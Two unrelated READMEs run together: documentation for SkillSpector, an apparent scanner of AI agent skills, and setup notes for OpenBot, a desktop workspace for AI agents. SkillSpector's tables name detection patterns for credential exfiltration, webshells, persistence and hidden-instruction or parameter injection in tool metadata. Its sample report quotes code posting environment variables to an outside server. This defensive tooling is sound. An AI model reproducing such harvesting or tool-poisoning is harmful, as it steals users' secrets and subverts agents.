| RA1 | \nSelf-Modification | \nCRITICAL | \nModifying own code or configuration at runtime | \n
| RA2 | \nSession Persistence | \nHIGH | \nUnauthorized persistence via cron jobs or startup scripts | \n
| ID | \nPattern | \nSeverity | \nDescription | \n
|---|---|---|---|
| TR1 | \nOverly Broad Trigger | \nMEDIUM | \nTrigger patterns matching common words | \n
| TR2 | \nShadow Command Trigger | \nHIGH | \nTriggers that shadow built-in commands or other skills | \n
| TR3 | \nKeyword Baiting Trigger | \nMEDIUM | \nGeneric triggers designed to maximize activation | \n
| ID | \nPattern | \nSeverity | \nDescription | \n
|---|---|---|---|
| AST1 | \nexec() Call | \nCRITICAL | \nDirect exec() enabling arbitrary code execution | \n
| AST2 | \neval() Call | \nHIGH | \nDirect eval() evaluating arbitrary expressions | \n
| AST3 | \nDynamic Import | \nHIGH | \n__import__() loading arbitrary modules at runtime | \n
| AST4 | \nsubprocess Call | \nHIGH | \nExternal command execution via subprocess | \n
| AST5 | \nos.system / exec-family | \nHIGH | \nShell commands via os module | \n
| AST6 | \ncompile() Call | \nMEDIUM | \nCode object creation from strings | \n
| AST7 | \nDynamic getattr() | \nMEDIUM | \nArbitrary attribute access with non-literal names | \n
| AST8 | \nDangerous Execution Chain | \nCRITICAL | \nexec/eval combined with dynamic source (network, encoded data) | \n
| AST9 | \nReflective getattr() Sink | \nHIGH | \nReflective exec via getattr(os,'system') / getattr(builtins,'exec') that evades AST1/AST5 | \n
| ID | \nPattern | \nSeverity | \nDescription | \n
|---|---|---|---|
| TT1 | \nDirect Taint Flow | \nHIGH | \nData flows directly from a source to a sink without sanitization | \n
| TT2 | \nVariable-Mediated Taint Flow | \nMEDIUM | \nData flows from source to sink through intermediate variables | \n
| TT3 | \nCredential Exfiltration Chain | \nCRITICAL | \nCredentials (env vars, secrets) flow to network output sinks | \n
| TT4 | \nFile Read to Network Exfiltration | \nHIGH | \nFile contents flow to network output sinks | \n
| TT5 | \nExternal Input to Code Execution | \nCRITICAL | \nNetwork or user input flows to exec/eval/subprocess sinks | \n
| ID | \nPattern | \nSeverity | \nDescription | \n
|---|---|---|---|
| YR1 | \nMalware Match | \nCRITICAL | \nYARA rule match for known malware signatures | \n
| YR2 | \nWebshell Match | \nCRITICAL | \nYARA rule match for webshell patterns | \n
| YR3 | \nCryptominer Match | \nHIGH | \nYARA rule match for crypto mining indicators | \n
| YR4 | \nHack Tool / Exploit Match | \nHIGH | \nYARA rule match for hack tools or exploit code | \n
| ID | \nPattern | \nSeverity | \nDescription | \n
|---|---|---|---|
| LP1 | \nUnderdeclared Capability | \nHIGH | \nCode uses capabilities not listed in declared permissions | \n
| LP2 | \nWildcard Permission | \nMEDIUM | \nPermission list contains wildcards (*, all, full, any) | \n
| LP3 | \nMissing Permission Declaration | \nMEDIUM | \nNo permissions field but code has detectable capabilities | \n
| LP4 | \nOverdeclared Permission | \nLOW | \nPermission declared but no corresponding code capability found | \n
| ID | \nPattern | \nSeverity | \nDescription | \n
|---|---|---|---|
| TP1 | \nHidden Instructions | \nHIGH | \nHidden directives in metadata (HTML comments, zero-width chars, base64, data URIs) | \n
| TP2 | \nUnicode Deception | \nHIGH | \nHomoglyphs, RTL overrides, mixed-script identifiers in tool metadata | \n
| TP3 | \nParameter Description Injection | \nMEDIUM | \nInjection patterns in parameter definitions (overrides, system tokens, malicious defaults) | \n
| TP4 | \nDescription-Behavior Mismatch | \nMEDIUM | \nDeclared tool description does not match actual code behavior (LLM-powered) | \n
All detected patterns are listed in the tables above.
\n| Score | \nSeverity | \nRecommendation | \n
|---|---|---|
| 0-20 | \nLOW | \nSAFE | \n
| 21-50 | \nMEDIUM | \nCAUTION | \n
| 51-80 | \nHIGH | \nDO NOT INSTALL | \n
| 81-100 | \nCRITICAL | \nDO NOT INSTALL | \n
SkillSpector Security Report v2.0.0\n\nSkill: suspicious-skill\nSource: ./suspicious-skill/\nScanned: 2026-01-29 10:30:00 UTC\n\n Risk Assessment\n Metric Value\n Score 78/100\n Severity HIGH\n Recommendation DO NOT INSTALL\n\n Components (3)\n File Type Lines Executable\n SKILL.md markdown 142 No\n scripts/sync.py python 87 Yes\n requirements.txt text 3 No\n\nIssues (2)\n\n HIGH: Env Variable Harvesting (E2)\n Location: scripts/sync.py:23\n Finding: for key, val in os.environ.items():...\n Confidence: 94%\n Explanation: This code collects environment variables containing\n API keys and secrets, then sends them to an external server.\n\n HIGH: External Transmission (E1)\n Location: scripts/sync.py:45\n Finding: requests.post(\"https://api.skill.io/env\"...\n Confidence: 89%\n Explanation: Data is being sent to an external server. Combined\n with env harvesting above, this indicates credential exfiltration.\n| Variable | \nDescription | \nRequired | \n
|---|---|---|
SKILLSPECTOR_PROVIDER | \n Active LLM provider: openai, anthropic, anthropic_proxy, bedrock, nv_build, gemini, ollama, azure_openai, openai_compatible, claude_cli, gemini_cli, or opencode_cli. Hosted providers use bundled model_registry.yaml defaults; CLI providers fall back to the local runtime's default model unless SKILLSPECTOR_MODEL is set. Defaults to nv_build. | \n Optional | \n
GOOGLE_CLOUD_PROJECT | \n Google Cloud project ID for the gemini provider. Authenticates via Google Cloud Application Default Credentials (ADC) or GKE Workload Identity. | \n Required for LLM analysis when SKILLSPECTOR_PROVIDER=gemini | \n
GOOGLE_CLOUD_LOCATION | \n Google Cloud location for the gemini provider endpoint (e.g. global, us, eu, us-central1). Defaults to global. | \n Optional (used when SKILLSPECTOR_PROVIDER=gemini) | \n
GOOGLE_APPLICATION_CREDENTIALS | \n Optional path to ADC credential/config file (e.g. Workload or Workforce Identity Federation config; exported service account keys are discouraged). For local development, use gcloud auth application-default login; for GKE, use Workload Identity. | \n Optional (used when SKILLSPECTOR_PROVIDER=gemini) | \n
NVIDIA_INFERENCE_KEY | \n Credential for the nv_build provider (build.nvidia.com). | \n Required for LLM analysis when SKILLSPECTOR_PROVIDER=nv_build | \n
OPENAI_API_KEY | \n Credential for the OpenAI provider (SKILLSPECTOR_PROVIDER=openai). Also serves as the tier-2 fallback in the credential waterfall when the active provider returns no credentials; the fallback then uses the openai default model (gpt-5.4) for any slot without a model override. Claude Opus or Sonnet 5.5 gateway IDs are not supported through the fallback, because it keeps the active provider's structured-output method; select SKILLSPECTOR_PROVIDER=openai for them. | \n Required for LLM analysis when SKILLSPECTOR_PROVIDER=openai | \n
OPENAI_BASE_URL | \n Override the OpenAI endpoint (e.g. point at Ollama). | \nOptional | \n
SKILLSPECTOR_REASONING_EFFORT | \n Optional provider- and model-dependent reasoning-effort setting. Non-empty values are trimmed and passed through unchanged. When unset or blank, SkillSpector sends high for nv_build with z-ai/glm-5.3; other provider/model combinations keep their endpoint defaults. The value applies to every model slot, so the anthropic meta_analyzer default receives the same effort as the analyzers. gpt-6.1-sol accepts only low, medium, high, xhigh, or max; any other value stops a scan before analysis (exit code 2). | \n Optional | \n
SKILLSPECTOR_OUTPUT_LANGUAGE | \n Short, single-line language label (letters, numbers, spaces, _, or -; maximum 64 characters) for human-readable LLM finding text such as messages, explanations, and remediation. Rule IDs, severity values, paths, code, and other machine-readable values remain unchanged. Unset, blank, or invalid values preserve the default output language. | \n Optional | \n
SKILLSPECTOR_TEMPERATURE | \n Optional sampling temperature from 0 to 1 for hosted providers. Unset or blank preserves the provider default. Lower values can reduce run-to-run variation but do not guarantee identical output. gpt-6.1-sol rejects every explicit temperature, including 1. claude-opus-5-5 and claude-sonnet-5-5 accept only 1.0 on the native Anthropic endpoint (API compatibility rule); gateways, proxies, and Bedrock still reject every explicit value for these models. Unsupported settings on active LLM slots stop a scan before analysis (exit code 2). Static scans (--no-llm) skip provider initialization and control validation. A Bedrock application-inference-profile ARN hides the model name, so declare sampling: rejected for it in the model registry. | \n Optional | \n
SKILLSPECTOR_SEED | \n Optional integer sampling seed for OpenAI-compatible and Azure OpenAI providers. Other hosted providers and CLI providers do not receive it. Provider support remains model-dependent; gpt-6.1-sol receives it, but OpenAI treats seed as best-effort, so output can still differ between runs. | \n Optional | \n
SKILLSPECTOR_COMPACT_PROMPTS | \n Opt-in compact line numbering in LLM prompts: numbered lines render as L1:, L2: instead of zero-padded L01:, L02:. Accepted truthy values are 1, true, and yes (case-insensitive; surrounding whitespace is trimmed). Unset or any other value keeps the default zero-padded format. | \n Optional | \n
ANTHROPIC_API_KEY | \n Credential for the Anthropic provider (SKILLSPECTOR_PROVIDER=anthropic). | \n Required for LLM analysis when SKILLSPECTOR_PROVIDER=anthropic | \n
ANTHROPIC_BASE_URL | \n Override the native Anthropic endpoint (default: https://api.anthropic.com). | \n Optional | \n
ANTHROPIC_AUTH_SCHEME | \n Set to bearer to send ANTHROPIC_API_KEY as Authorization: Bearer instead of x-api-key, for gateways exposing the Messages API. | \n Optional | \n
ANTHROPIC_PROXY_ENDPOINT_URL | \n Full endpoint URL for the Anthropic proxy provider (Vertex-style raw-predict). | \nRequired when SKILLSPECTOR_PROVIDER=anthropic_proxy | \n
ANTHROPIC_PROXY_API_KEY | \n Bearer token for the Anthropic proxy provider. | \nRequired when SKILLSPECTOR_PROVIDER=anthropic_proxy | \n
ANTHROPIC_PROXY_API_VERSION | \n anthropic_version value sent in the request body (default: vertex-2023-10-16). | \n Optional | \n
AWS_PROFILE | \n Named AWS profile for the Bedrock provider \u2014 authenticates via SigV4 through boto3. When unset, the standard boto3 credential chain (env vars, instance metadata, SSO, etc.) resolves. | \nOptional (used when SKILLSPECTOR_PROVIDER=bedrock) | \n
AWS_REGION | \n AWS region for the Bedrock Runtime endpoint. Defaults to us-west-2. | \n Optional (used when SKILLSPECTOR_PROVIDER=bedrock) | \n
OLLAMA_BASE_URL | \n Ollama OpenAI-compatible endpoint. Defaults to http://localhost:11434/v1. | \n Optional (used when SKILLSPECTOR_PROVIDER=ollama) | \n
AZURE_OPENAI_API_KEY | \n API key for the Azure OpenAI provider. | \nRequired when SKILLSPECTOR_PROVIDER=azure_openai | \n
AZURE_OPENAI_ENDPOINT | \n Azure resource endpoint for the Azure OpenAI provider. | \nRequired when SKILLSPECTOR_PROVIDER=azure_openai | \n
AZURE_OPENAI_DEPLOYMENT | \n Azure deployment name. Defaults to the selected model label. | \nOptional | \n
AZURE_OPENAI_API_VERSION | \n Azure OpenAI API version. Defaults to 2024-06-01. | \n Optional | \n
SKILLSPECTOR_COMPAT_API_KEY | \n API key for a generic OpenAI-compatible provider. | \nRequired when SKILLSPECTOR_PROVIDER=openai_compatible | \n
SKILLSPECTOR_COMPAT_BASE_URL | \n Base URL for a generic OpenAI-compatible provider. | \nRequired when SKILLSPECTOR_PROVIDER=openai_compatible | \n
SKILLSPECTOR_MODEL | \n Override the active provider model. For hosted providers, this replaces the bundled default from the LLM Analysis table. For CLI providers, this is forwarded as --model instead of using the local runtime fallback. | \n Optional | \n
SKILLSPECTOR_MODEL_<SLOT> | \n Override the model for one analyzer slot (for example SKILLSPECTOR_MODEL_META_ANALYZER). It takes precedence over SKILLSPECTOR_MODEL, which in turn replaces provider slot defaults such as the anthropic meta_analyzer default. See model provenance for the full precedence. | \n Optional | \n
SKILLSPECTOR_MODEL_REGISTRY | \n Override the bundled per-provider YAML registry (src/skillspector/providers/<provider>/model_registry.yaml) with a custom path. | \n Optional | \n
SKILLSPECTOR_LOG_LEVEL | \n Log level: DEBUG, INFO, WARNING, ERROR (default: WARNING). | \n Optional | \n
SKILLSPECTOR_MAX_DEPENDENCY_SOURCE_ANALYSIS_SECONDS | \n Ceiling for the dependency-source analysis pass, in seconds. Defaults to 5.0, which is the historical value. Raise it on slow or heavily loaded machines so the same unchanged tree does not come back partially inspected, which would set safe_to_install to false and record runtime_limit. The remaining aggregate workflow time (SKILLSPECTOR_MAX_WORKFLOW_SECONDS, 600 seconds by default) still caps the effective value; values above that remaining time have no effect. Invalid, zero, negative, infinite, and NaN values keep the 5-second default. The setting is resolved when the module is imported, so a new process is required after changing it. See analysis resource bounds. | \n Optional | \n
\n\nDisabled provider:
\ncodex_cliremains registered but cannot run LLM analysis because its read-only sandbox allows host-file reads. Existing users should select an HTTP API provider or another supported CLI provider.
\n\nCLI providers (
\nclaude_cli,gemini_cli,opencode_cli): No API key is needed. Authentication is managed entirely by the agent CLI's own login session. SkillSpector never reads or forwards API keys when these providers are active. The subprocess is run with capabilities restricted, and untrusted skill content is delivered only via stdin.\n
opencode_clicurrently fails closed unless the installed OpenCode version is exactly1.18.33, the version whose configuration precedence and deny-all semantics are verified by this release.
skillspector scan --help\n\nOptions:\n -f, --format [terminal|json|markdown|sarif] Output format [default: terminal]\n -o, --output PATH Output file path\n --no-llm Skip LLM analysis (static only)\n --yara-rules-dir PATH Extra YARA rules directory\n -b, --baseline PATH Suppress findings listed in a baseline\n --show-suppressed List baseline-suppressed findings\n -V, --verbose Show detailed progress\n --help Show this message and exit\n\n# Generate a baseline of all current findings (see docs/SUPPRESSION.md)\nskillspector baseline <path> [-o FILE] [--no-llm] [--reason TEXT]\nReport files and new baselines use private permissions (0600). Existing baselines retain their access metadata when safely replaced; updates requiring in-place writes are refused. All file output uses atomic replacement. The parent directory must be writable; symlinked parents and non-regular destinations such as devices are refused. On macOS, ancestor directories must also be readable. File output requires POSIX no-follow directory operations and is unavailable on Windows. Unsupported file output fails before analysis. Omit --output for scan/batch stdout, or use skillspector baseline <path> -o - for JSON on stdout, then redirect only to a trusted destination. Run Docker with your user ID as above so you can read its files.
SkillSpector is built to be driven by other tools (CI pipelines, install gates, editor integrations). Its exit code and JSON output are a stable contract.
\nskillspector scan exits with:
| Code | \nMeaning | \n
|---|---|
0 | \n Scan completed, risk_score \u2264 50 (recommendation SAFE or CAUTION), and no enabled strict gate fired | \n
1 | \n Scan completed and either risk_score > 50, --fail-on-findings found an active finding, --fail-on-incomplete found partial/incomplete analysis, or --min-coverage found coverage below its threshold | \n
2 | \n Error (bad input, unreadable source, internal failure) | \n
\n\nBy default, the exit code collapses
\nSAFEandCAUTIONinto0. Use--fail-on-findingsto gate on any active finding,--fail-on-incompleteto gate on incomplete coverage,--min-coverage PERCENTto gate on a coverage floor, or read the JSONrecommendationfield for custom policy.
--format json produces a JSON report; with no --output/-o it is written to stdout:
skillspector scan ./my-skill/ --format json\nThe top-level shape is (this example shows a full LLM-backed scan; with --no-llm, metadata.llm_requested is false):
{\n \"skill\": { \"name\": \"...\", \"source\": \"...\", \"scanned_at\": \"<ISO 8601>\" },\n \"risk_assessment\": { \"score\": 0, \"severity\": \"LOW\", \"recommendation\": \"SAFE\" },\n \"components\": [ { \"path\": \"...\", \"type\": \"...\", \"lines\": 0, \"executable\": false, \"size_bytes\": 0 } ],\n \"issues\": [ { \"id\": \"...\", \"category\": \"...\", \"severity\": \"...\", \"confidence\": 0.0, \"location\": { \"file\": \"...\", \"start_line\": 0 } } ],\n \"metadata\": {\n \"has_executable_scripts\": false,\n \"skillspector_version\": \"...\",\n \"llm_requested\": true,\n \"llm_available\": true,\n \"inference_usage\": [\n {\n \"node\": \"semantic_security_discovery\",\n \"request_kind\": \"structured_output\",\n \"provider\": \"nv_inference\",\n \"model\": \"azure/anthropic/claude-opus-4-6\",\n \"model_source\": \"provider_response\",\n \"usage_source\": \"provider_response\",\n \"prompt_tokens\": 1000,\n \"completion_tokens\": 100,\n \"cached_tokens\": 400,\n \"cache_write_tokens\": 50,\n \"total_tokens\": 1100\n }\n ]\n }\n}\nrisk_assessment.severity \u2208 LOW | MEDIUM | HIGH | CRITICAL.risk_assessment.recommendation \u2208 SAFE | CAUTION | DO_NOT_INSTALL, mapped from severity: LOW \u2192 SAFE, MEDIUM \u2192 CAUTION, HIGH/CRITICAL \u2192 DO_NOT_INSTALL.metadata.llm_error appears only when LLM analysis was requested but unavailable.path and include outer_path, nested_path, and container provenance. Virtual paths identify in-memory members, not on-disk files; see JSON component locations.evidence identifies the affected target, analyzer reasons, and available bounds. Review the target's completeness ledger when reasons_truncated is true. See referenced-artifact diagnostics and Perl help text for interpretation and corrective actions.metadata.inference_usage contains one sanitized record per LLM response when the provider exposes token counters. It is an empty list when usage is unavailable; SkillSpector never estimates missing tokens. Prompt totals are inclusive of cache reads and writes so downstream pricing can separate those partitions safely. model_source distinguishes an independently identified provider model from the exact requested model used when response identity is absent or ambiguous. SkillSpector does not currently send Anthropic prompt-cache controls, so its scan requests cannot select the separate 5-minute or 1-hour cache-write tiers; TTL-specific response fields are normalized defensively into the aggregate cache-write counter.Finding.to_dict() in models.py; rely on the fields above and treat any additional fields as best-effort.For CI/IDE tooling, --format sarif emits SARIF 2.1.0. Each result carries its security severity; rule descriptors carry a score only when all of their results share that severity. Mixed-severity rules remain unannotated, so consumers that read only rule-level severity cannot distinguish their result severities. Recursive scans chain each percent-encoded skill-directory URI through an absolute scan-root file URI. External dependency locations retain their source provenance instead of being rebased into the local skill directory.
When using SkillSpector as an install gate, map the recommendation to an action:
\nrecommendation | \n Suggested action | \n
|---|---|
SAFE | \n allow | \n
CAUTION | \n prompt / warn the user | \n
DO_NOT_INSTALL | \n block | \n
SkillSpector computes the score band and recommendation; how strict the gate is (e.g. whether CAUTION blocks in CI) is a policy decision for the integrating tool.
All make targets assume a virtual environment is already created and activated. The Makefile uses uv if available, else pip.
# Clone, create venv, activate, install dev dependencies\ngit clone https://github.com/NVIDIA/skillspector.git\ncd skillspector\nuv venv .venv && source .venv/bin/activate\n# or: python3 -m venv .venv && source .venv/bin/activate\nmake install-dev\n\n# Run tests\nmake test\n\n# Run tests with coverage\nmake test-cov\n\n# Run linting\nmake lint\n\n# Format code\nmake format\nSkillSpector uses a two-stage detection pipeline:
\nOpenSSF Model Signing / DSSE bundles remain in content analysis, regardless of filename. Static and LLM analyzers inspect decoded JSON payloads, readable DER certificate/signature content, and all unknown wrapper fields. Strictly parsed binary fields are projected rather than treated as executable base64; canonical bytes remain available to YARA and fingerprints. Unsupported encodings (including environments without the optional cryptography dependency) retain raw fields and produce an explicit incomplete-analysis warning. Findings in decoded content point to the original bundle and label their projection in evidence. None of this verifies signatures, certificate chains, transparency logs, or signer identity.
llm-unconfirmed in JSON and SARIF outputevidence.llm_review_outcome distinguishes confirmed, disagreed, low-confidence, missing, and failed in JSON and SARIF outputThe LLM prompt includes anti-jailbreak protections to prevent malicious skills from manipulating the analysis.
\nSC4 uses the OSV.dev API to check dependencies against the full Open Source Vulnerabilities database \u2014 covering tens of thousands of advisories across PyPI and npm.
\nThe tool requires outbound HTTPS access to api.osv.dev for live vulnerability data. When that is not available, findings are limited to the static fallback list.
SkillSpector is defense-in-depth, not a sandbox. Know what it does and does not do before relying on it:
\nSKILLSPECTOR_PROVIDER endpoint. DSSE payloads and readable signing metadata are included. Use --no-llm to keep contents local (static analysis only).--no-llm. It sends dependency coordinates (not file contents), requires no API key, and falls back to a bundled list when OSV.dev is unreachable.api.osv.dev, SC4 uses a small static fallback listBased on research from \"Agent Skills in the Wild: An Empirical Study of Security Vulnerabilities at Scale\" (Liu et al., 2026):
\nfrom skillspector import graph\n\n# Invoke the LangGraph workflow\nresult = graph.invoke({\n \"input_path\": \"/path/to/skill\",\n \"output_format\": \"json\", # terminal, json, markdown, or sarif\n \"use_llm\": True, # False for static-only analysis\n})\n\n# Access results\nprint(f\"Risk Score: {result['risk_score']}/100\")\nprint(f\"Severity: {result['risk_severity']}\")\nprint(f\"Recommendation: {result['risk_recommendation']}\")\n\nfor finding in result[\"filtered_findings\"]:\n print(f\"[{finding['severity']}] {finding['rule_id']}: {finding['message']}\")\nApache License 2.0 - see LICENSE for details.
\nContributions are welcome! Please read our contributing guidelines and submit pull requests.
\nA local-first desktop workspace for persistent AI teammates. Run Codex, Claude, and Grok with dedicated workspaces, task queues, file sharing, browser control, and agent-to-agent collaboration.
![\"CI\"](\"https://github.com/nightly-labs/openbot/actions/workflows/ci.yml/badge.svg?sanitize=true\"){kind=icon}
![\"License\"](\"https://img.shields.io/badge/license-PolyForm_Noncommercial_1.0.0-blue.svg?sanitize=true\"){kind=icon}
OpenBot is a local-first desktop workspace for persistent AI teammates. It supports the local Codex App Server and Claude Code, plus Grok CLI, OpenCode, Gemini, Cursor CLI, and Cline CLI through ACP. It gives every agent its own workspace and conversation, and provides local queues, file transfers, an embedded browser, and agent-to-agent messaging in one desktop app.
\n\n Warning
\nOpenBot is a development preview. Agents currently run with danger-full-access and approvalPolicy: never. They can read and modify files, run commands, use the network, and control the embedded browser without per-action confirmations after the explicit first-launch consent. Run only agents and tasks you trust, keep backups, and review Security before use.
cua-driver binary in the release, which OpenBot starts as its own child process and gives to every provider.OpenBot is local-first, not offline-only. Codex connects to OpenAI, Claude connects to Anthropic, Grok connects to xAI, Gemini connects to Google, Cursor connects to Cursor, Cline connects to Cline, visited pages use the network, and installed plugins may connect to their own services.
\nOpenBot supports macOS 13 or newer on Apple silicon or Intel, Windows 10 or newer on x64 systems, and x64 or arm64 Linux as an AppImage.
\nOpenBot-*-arm64.dmg (or OpenBot-*-x64.dmg on an Intel Mac) from GitHub Releases.OpenBot-*-x64.exe from GitHub Releases.OpenBot-*-x86_64.AppImage (or OpenBot-*-arm64.AppImage on arm64) from GitHub Releases.chmod +x OpenBot-*.AppImage, then run it.The AppImage does not need libfuse2, so it also runs on Arch Linux and Omarchy. It mounts itself with fusermount3 from the fuse3 package.
On Ubuntu 23.10 or newer and on Debian 13, unprivileged user namespaces are restricted by AppArmor and OpenBot exits during launch until you install an AppArmor profile:
\nsudo install -m 0644 build/linux/openbot.apparmor /etc/apparmor.d/openbot\nsudo systemctl reload apparmor\nThe same file ships inside the AppImage at resources/linux/openbot.apparmor. Edit the attachment path in the profile if you keep the AppImage outside the usual locations. Do not start OpenBot with --no-sandbox: that removes the boundary between a renderer and the rest of the computer.
On the first start from an AppImage, OpenBot writes ~/.local/share/applications/openbot.desktop and ~/.local/share/icons/openbot.png, which is what lets an openbot:// link - an invitation, or a plugin listing - open the app and gives the launcher an icon that stays after the app exits. Delete the two files to undo it.
Remote desktop works on Linux x64 in an X11 session, such as Xorg or Xvfb. It does not work under Wayland, and the arm64 AppImage does not include it.
\nFor Gemini sign-in, install a desktop browser and xdg-utils. Open the sign-in page in a desktop session on the same host or VM. Google sends the callback to that host through 127.0.0.1; a server with no desktop cannot complete this sign-in. See Gemini setup.
To run OpenBot as an always-on server of your account on a VPS or home server (Ubuntu 24.04 or 26.04 with systemd), install it from a terminal and sign in with an email code:
\ncurl -fsSL https://raw.githubusercontent.com/nightly-labs/openbot/main/scripts/install-server.sh | sudo bash\nsudo openbot login\nThen use it from the desktop app, the iPhone app or openbot.run/app. See self-hosted servers for the options and the openbot commands.
The same server runs as a container (linux/amd64 and linux/arm64). The seccomp profile lets the Electron sandbox stay on:
curl -fsSLO https://raw.githubusercontent.com/nightly-labs/openbot/main/docker/seccomp.json\ndocker run -d --name openbot --restart unless-stopped \\\n --security-opt seccomp=seccomp.json --security-opt no-new-privileges:true \\\n --shm-size 1g --stop-timeout 60 -v openbot-data:/data \\\n ghcr.io/nightly-labs/openbot:latest\ndocker exec -it openbot openbot login\nSee Docker for Compose, the data volume, upgrades and the security limits. For Amazon ECS, see AWS ECS.
\nThe flake installs the desktop app from the latest release on x64 or arm64 Linux and on Apple silicon:
\nnix run github:nightly-labs/openbot\nnix profile install github:nightly-labs/openbot\noverlays.default adds pkgs.openbot. OpenBot is not free software, so your nixpkgs must allow it, for example with nixpkgs.config.allowUnfreePredicate = pkg: lib.getName pkg == \"openbot\";. Nix installs OpenBot updates. OpenBot does not update itself from the Nix store. On Linux, the Nix package does not include the remote desktop runtime, because nixpkgs does not have a library that it needs.
\n Important
\nWindows releases are signed by SYNTHETIFY LABS SP\u00d3\u0141KA Z OGRANICZON\u0104 ODPOWIEDZIALNO\u015aCI\u0104. Older releases are not code-signed. SmartScreen can still warn about a new release. Check the release checksum or GitHub build attestation before you run the installer.
OpenBot can download a supported provider runtime when you select Download in onboarding, Settings, agent setup, or the model picker. OpenBot prefers its managed CLI. Explicit OPENBOT_*_PATH overrides take precedence; a compatible system CLI is used when no managed copy is available. OpenBot checks for a newer provider CLI release at startup and every hour, and Check for updates in a provider's actions menu checks at once. Updates install the latest upstream release without changing the user\u2019s system CLI; the version in native-runtime.lock.json is only the first-install fallback.
You can also install a CLI yourself.
\nCodex CLI on macOS:
\ncurl -fsSL https://chatgpt.com/codex/install.sh | sh\nClaude CLI on macOS:
\ncurl -fsSL https://claude.ai/install.sh | bash\nInstall Grok CLI following the Grok Build documentation, then authenticate with grok login or set XAI_API_KEY in the environment used to launch OpenBot.
OpenBot downloads and pins the OpenCode CLI, like Codex, Claude, and Grok. OpenCode's free models need no account and no sign-in: select OpenCode, click Connect, and OpenBot reads the models that the CLI advertises. To use the paid OpenCode Go models, click Sign in on the OpenCode row and paste a Go key from opencode.ai/auth. OpenBot encrypts the key on this computer and gives it only to the local CLI. OpenBot supports OpenCode Go only: the Zen models a Go key does not buy stay out of the picker. Models with the Free label in the model picker need no sign-in. Other models need a sign-in with their provider: a Go key for the opencode-go/ models, or opencode auth login in a terminal for OpenCode Zen and third-party providers. Without it, the turn fails with an error that names the provider. If you installed OpenCode yourself, OpenBot keeps that install and offers no download. Set OPENBOT_OPENCODE_PATH to select an executable outside your shell's search path. Remote OpenCode agents require Team API v4; older clients do not show these agents.
Gemini uses a Google AI Pro or Ultra plan. OpenBot downloads Google's Antigravity ACP server on this computer when you select Download on the Gemini row, because Google's license does not let OpenBot include it. Sign in opens Google's sign-in page in your browser. OpenBot never uses an antigravity command on your search path, because the Antigravity editor installs a command with that name. Set OPENBOT_ANTIGRAVITY_PATH to select a server executable yourself. Put it in a bin/ folder, and put an antigravity-package.json file with its version in the folder above bin/. Keep localharness_external beside the server. When that path is set, OpenBot uses only it. Connect remains available in the host's local Settings > Providers screen. Remote settings cannot perform Google sign-in; use a browser on the host. See Gemini setup and download recovery for the required layout, the reported IPv6 download failure, and checks that do not change host networking.
Cursor uses a Cursor plan or a Cursor API key. OpenBot downloads and pins the Cursor CLI (cursor-agent) when you select Download on the Cursor row in More providers, and starts it with cursor-agent acp. Sign in opens Cursor's sign-in page in your browser. You can also set CURSOR_API_KEY in the environment used to launch OpenBot. If you installed cursor-agent yourself, OpenBot uses it until a download exists. OpenBot never uses the cursor command, which starts the Cursor editor. Set OPENBOT_CURSOR_PATH to select an executable yourself. Cursor agents stay on this computer: team members do not see them.
Cline uses a Cline account, which has free models with limits for each model. The provider of a free model can use your prompts to train models. OpenBot downloads and pins the Cline CLI (cline) when you select Download on the Cline row in More providers, and starts it with cline --acp. Sign in opens Cline's sign-in page in your browser. You can also set CLINE_API_KEY in the environment used to launch OpenBot. If you installed cline 3.0.68 or newer yourself, OpenBot uses it until a download exists. Set OPENBOT_CLINE_PATH to select an executable yourself. Cline agents stay on this computer: team members do not see them.
On Windows, install the native CLI and make sure codex, claude, or grok is available in PowerShell. Claude Code also requires Git for Windows. Then authenticate the installed CLI and restart OpenBot.
Bun and Node.js are not required when using an installed release. Optional Computer Use works on macOS, Windows and Linux, and the release carries the driver, so there is nothing to install. Only macOS asks for a permission for it: Screen Recording and Accessibility.
\nOpenBot uses the existing local CLI login. It does not copy provider credentials. Grok's XAI_API_KEY and per-session MCP bearer tokens are never persisted or logged. Each provider's terms apply to your sign-in. See provider terms for Claude subscriptions.
For setup problems, data reset, and uninstall instructions, see Troubleshooting. OpenBot's data and network behavior is documented in Privacy.
\nDevelopment requires stable Bun 1.4.2, Node.js 24 (the version in .nvmrc, matching the Node that Electron bundles - run nvm use), and at least one supported agent CLI.
Install the exact Bun version on macOS or Linux:
\ncurl -fsSL https://bun.com/install | bash -s \"bun-v1.4.2\"\nInstall it on Windows in PowerShell:
\niex \"& {$(irm https://bun.com/install.ps1)} -Version 1.4.2\"\ngit clone https://github.com/nightly-labs/openbot.git\ncd openbot\nbun install --frozen-lockfile\nbun run codex:doctor\nbun run dev\ncodex:doctor checks the CLI version, App Server handshake, and ChatGPT login without starting a model turn. bun run cua-driver:doctor reports the Computer Use driver separately.
In a new git worktree, run bun run dev:bootstrap. It copies the files that .worktreeinclude lists from the main checkout when they are missing, installs dependencies, migrates the local API, and seeds the isolated profile. Set it as the worktree setup command of your agent harness.
On macOS, a worktree's node_modules uses almost no new disk space. Bun clones packages from its cache, and the root postinstall clones Electron from ~/Library/Caches/OpenBot/electron-dist. du still shows the full size of each clone. The first install of an Electron version extracts it once and saves it there. Delete the directory to clear the cache; an entry that nobody used for 30 days is removed by the next save.
To reset only the local development state, quit the dev app and test client, then run bun run dev:reset. The command deletes the app and test-client development profiles plus the legacy host profile, including openbot.db and its WAL files. It prints each profile before it deletes it, and it deletes nothing while a dev app has one of them open. It does not change the production profile, the worktree profiles that bun run dev opens (OpenBot Dev wt-<hash>), agent workspaces, ~/.codex, or ~/.claude.
bun run dev seeds a development profile it creates, so a first start already shows this data. bun run dev:seed replaces the shared OpenBot Dev profile. To use it, quit the dev app, then run:
bun run dev:seed\nbun run dev --shared\nThe seeded agents run on opencode-go/muse-spark-1.3-contributor at medium effort while this computer's OpenCode CLI lists it, and on gpt-6-luna at low effort otherwise. A dev build starts a new agent on the same pair, so a seeded agent and one you create agree; a packaged build always uses gpt-6-luna.
The seed adds agents, rich conversations, managed files and references, reactions, completed agent exchanges, two channels with a delegated task run, channel memories and routines, and local team chat data. It dates every record backwards from the run, so the transcripts read Today and Yesterday. It does not add live queue items, open routine runs, or queued channel tasks, so it starts no model turn. Use bun run dev:seed --dry-run to inspect the target and fixture counts without changing files. dev:seed, dev:reset, dev:verify, dev:bench, and dev:automation print their usage for --help and change nothing. They stop with exit code 2 on an option that they do not know.
Seed the approved OpenBot team catalog locally with bun run marketplace:seed:local, then start or reuse bun run dev. Search OpenBot in Marketplace to review its Skills and Agents. This seed adds catalog records without resetting app data.
